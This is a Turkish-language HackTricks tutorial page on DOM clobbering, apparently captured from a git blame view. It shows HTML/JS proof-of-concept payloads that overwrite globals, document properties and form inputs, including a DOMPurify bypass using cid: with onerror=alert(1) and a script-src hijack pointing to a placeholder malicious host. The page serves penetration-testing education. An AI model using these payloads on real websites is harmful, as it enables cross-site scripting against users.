hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

220 lines
13 KiB
Markdown
Raw Normal View History

2022-10-13 00:56:34 +00:00
# Dom Clobbering
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
* **Bir siber güvenlik şirketinde çalışıyor musunuz?** **Şirketinizi HackTricks'te reklamını yapmak ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
2022-10-13 00:56:34 +00:00
</details>
2024-02-10 18:14:16 +00:00
## **Temel Bilgiler**
2023-03-03 15:39:23 +00:00
2024-02-10 18:14:16 +00:00
HTML etiketlerinde **`id`** ve **`name`** özellikleriyle **JS bağlamında global değişkenler oluşturmak mümkündür**.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
2024-02-10 18:14:16 +00:00
**Sadece** belirli öğeler, `embed`, `form`, `iframe`, `image`, `img` ve `object` öğeleri, **name özniteliğini** kullanarak global değişkenleri **clobber** edebilir.
2023-03-03 15:39:23 +00:00
2024-02-10 18:14:16 +00:00
İlginç bir şekilde, bir **form öğesi** kullanarak bir değişkeni **clobber** ettiğinizde, öğenin kendisinin **`toString`** değerini alırsınız: `[object HTMLFormElement]` ancak **anchor** ile **`toString`** değeri anchor'ın **`href`** değeri olacaktır. Bu nedenle, **`a`** etiketi kullanarak clobber yaparsanız, **dize olarak işlendiğinde** **değeri kontrol** edebilirsiniz:
2023-03-03 15:39:23 +00:00
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
2024-02-10 18:14:16 +00:00
### Diziler ve Öznitelikler
2023-03-03 15:39:23 +00:00
2024-02-10 18:14:16 +00:00
Bir dizi ve nesne özniteliğini **clobber** etmek de mümkündür:
2023-03-03 15:39:23 +00:00
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
2024-02-10 18:14:16 +00:00
**Bir 3. özniteliği (örneğin x.y.z) clobberlamak** için bir **`form`** kullanmanız gerekmektedir:
2023-03-03 15:39:23 +00:00
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
2024-02-10 18:14:16 +00:00
Daha fazla özniteliği clobberlemek **daha karmaşık ama hala mümkün**, iframeler kullanılarak:
2023-03-03 15:39:23 +00:00
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
Stil etiketi, iframe'in render işlemini yapması için yeterli zamanı vermek için kullanılır. Bu olmadan, bir **tanımsız** uyarısıyla karşılaşacaksınız.
2023-03-03 15:39:23 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
Daha derin öznitelikleri clobberlemek için, aşağıdaki gibi **html kodlamasıyla iframe'ler** kullanabilirsiniz:
2023-03-03 15:39:23 +00:00
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
2024-02-10 18:14:16 +00:00
### **Filtre Atlama**
2023-03-03 15:39:23 +00:00
2024-02-10 18:14:16 +00:00
Bir filtre, `document.getElementByID('x').attributes` gibi bir şey kullanarak bir düğümün **özelliklerini** döngüyle geçiyorsa, **`.attributes`** özniteliğini **clobber** edebilir ve filtreyi **kırabilirsiniz**. **`tagName`**, **`nodeName`** veya **`parentNode`** gibi diğer DOM özellikleri de **clobberable** olabilir.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
2024-02-10 18:14:16 +00:00
## **`window.someObject`'ı Clobberlama**
2023-03-03 15:39:23 +00:00
2024-02-10 18:14:16 +00:00
JavaScript'te sıkça şu şekilde karşılaşılır:
2023-03-03 15:39:23 +00:00
```javascript
var someObject = window.someObject || {};
```
2024-02-10 18:14:16 +00:00
Sayfa üzerinde HTML manipülasyonu, `someObject`'i bir DOM düğümüyle geçersiz kılmanıza ve potansiyel olarak güvenlik açıklarına neden olmanıza olanak tanır. Örneğin, `someObject`'i kötü amaçlı bir betiğe işaret eden bir bağlantı elemanıyla değiştirebilirsiniz:
2022-10-13 00:56:34 +00:00
```html
2024-02-06 03:10:27 +00:00
<a id=someObject href=//malicious-website.com/malicious.js></a>
2022-10-13 00:56:34 +00:00
```
2024-02-10 18:14:16 +00:00
Zararlı bir kodda şu gibi bir açık bulunabilir:
2023-03-03 15:39:23 +00:00
```html
2024-02-06 03:10:27 +00:00
<script>
2024-02-10 18:14:16 +00:00
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
2024-02-06 03:10:27 +00:00
</script>
2023-03-03 15:39:23 +00:00
```
2024-02-10 18:14:16 +00:00
Bu yöntem, istenmeyen kodları çalıştırmak için betik kaynağını kullanır.
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
**Hile**: **`DOMPurify`**, **`cid:`** protokolünü kullanmanıza olanak tanır, bu da **çift tırnakları URL kodlaması yapmadığı anlamına gelir**. Bu, **çalışma zamanında kodun çözümleneceği kodlanmış çift tırnakları enjekte edebileceğiniz** anlamına gelir. Bu nedenle, **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** gibi bir şey enjekte etmek, HTML kodlu `&quot;`'nin **çalışma zamanında çözümleneceğini** ve **öznitelik değerinden kaçacağını** ve **`onerror`** olayını **oluşturacağını** yapar.
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
Başka bir teknik, bir **`form`** öğesi kullanır. Belirli bir istemci tarafı kitaplığı, yeni oluşturulan bir form öğesinin özniteliklerini temizlemek için bunları kontrol eder. Ancak, formun içine `id=attributes` olan bir `input` ekleyerek, öznitelikler özelliğini etkili bir şekilde üzerine yazarsınız ve temizleyicinin gerçek özniteliklere erişmesini engellersiniz.
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
Bu tür bir üzerine yazma örneğini [**bu CTF yazısında bulabilirsiniz**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
## Belge nesnesi üzerine yazma
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
Belge Nesnesi'nin özniteliklerini DOM Clobbering kullanarak üzerine yazmak mümkündür:
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
> [Belge](https://html.spec.whatwg.org/multipage/dom.html#document) arayüzü [isimli özellikleri destekler](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Herhangi bir anda bir [Belge](https://html.spec.whatwg.org/multipage/dom.html#document) nesnesinin desteklenen özellik adları, aşağıdakileri içerir: [ağaç sırasına](https://dom.spec.whatwg.org/#concept-tree-order) göre, katkıda bulunan öğeye göre, daha sonraki yinelenmeleri yok sayarak ve aynı öğe hem ad hem de ad özniteliği katkıda bulunduğunda, ad özniteliği değerleri ad özniteliklerinden önce gelir:
2022-10-13 00:56:34 +00:00
>
2024-02-10 18:14:16 +00:00
> \- İsimsiz olmayan ad içeriği olan tüm [açığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) ve [açığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri için ad içeriği değeri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler;\
2022-10-13 00:56:34 +00:00
> \
2024-02-10 18:14:16 +00:00
> \- İsimsiz olmayan [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) içeriği olan tüm [açığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler;\
2022-10-13 00:56:34 +00:00
> \
2024-02-10 18:14:16 +00:00
> \- İsimsiz olmayan [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) ve isim içeriği olan tüm [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) öğeleri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler.
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
Bu teknik kullanılarak yaygın olarak kullanılan **değerlerin üzerine yazabilirsiniz, örneğin `document.cookie`, `document.body`, `document.children`** ve hatta `document.querySelector` gibi Belge arayüzündeki yöntemler.
2022-10-13 00:56:34 +00:00
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
2024-02-10 18:14:16 +00:00
## Element ezildikten sonra yazma
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
**`document.getElementById()`** ve **`document.querySelector()`** çağrılarının sonuçları, aynı id özniteliğine sahip bir `<html>` veya `<body>` etiketi enjekte edilerek değiştirilebilir. İşte nasıl yapılacağı:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain" class="x">test</div>
2022-12-20 11:25:07 +00:00
<p>
2024-02-06 03:10:27 +00:00
<html id="cdnDomain" class="x">clobbered</html>
2022-12-20 11:25:07 +00:00
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
2024-02-10 18:14:16 +00:00
Ayrıca, bu enjekte edilmiş HTML/body etiketlerini gizlemek için stiller kullanarak, `innerText` içindeki diğer metinlerin müdahalesi engellenebilir ve böylece saldırının etkinliği artırılabilir:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">test</div>
2022-12-20 11:25:07 +00:00
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
2024-02-10 18:14:16 +00:00
SVG araştırmaları, `<body>` etiketinin de etkili bir şekilde kullanılabileceğini ortaya çıkardı:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
2022-12-20 11:25:07 +00:00
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
2024-02-10 18:14:16 +00:00
HTML etiketinin Chrome ve Firefox gibi tarayıcılarda SVG içinde çalışabilmesi için `<foreignobject>` etiketi gereklidir:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">example.com</div>
2022-12-20 11:25:07 +00:00
<svg>
<foreignobject>
2024-02-06 03:10:27 +00:00
<html id="cdnDomain">clobbered</html>
2022-12-20 11:25:07 +00:00
</foreignobject>
</svg>
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
2024-02-10 18:14:16 +00:00
## Formları Clobbering
2022-12-20 11:25:07 +00:00
2024-02-10 18:14:16 +00:00
Bazı etiketlerin içine `form` özniteliğini belirterek bir formun içine **yeni girişler eklemek** mümkündür. Bu yöntemi kullanarak bir formun içine **yeni değerler ekleyebilir** ve hatta **göndermek için yeni bir düğme** bile ekleyebilirsiniz (clickjacking veya bazı `.click()` JS kodunu kötüye kullanma):
2023-02-20 09:58:12 +00:00
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
2024-02-10 18:14:16 +00:00
* Daha fazla form özniteliği için [**burayı kontrol edin**](https://www.w3schools.com/tags/tag\_button.asp)**.**
2023-02-20 09:58:12 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
2024-02-06 03:10:27 +00:00
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
2024-02-10 18:14:16 +00:00
* Heyes, Gareth. JavaScript for hackers: Bir hacker gibi düşünmeyi öğrenin.
2022-12-20 11:25:07 +00:00
2022-10-13 00:56:34 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın.**
2022-10-13 00:56:34 +00:00
</details>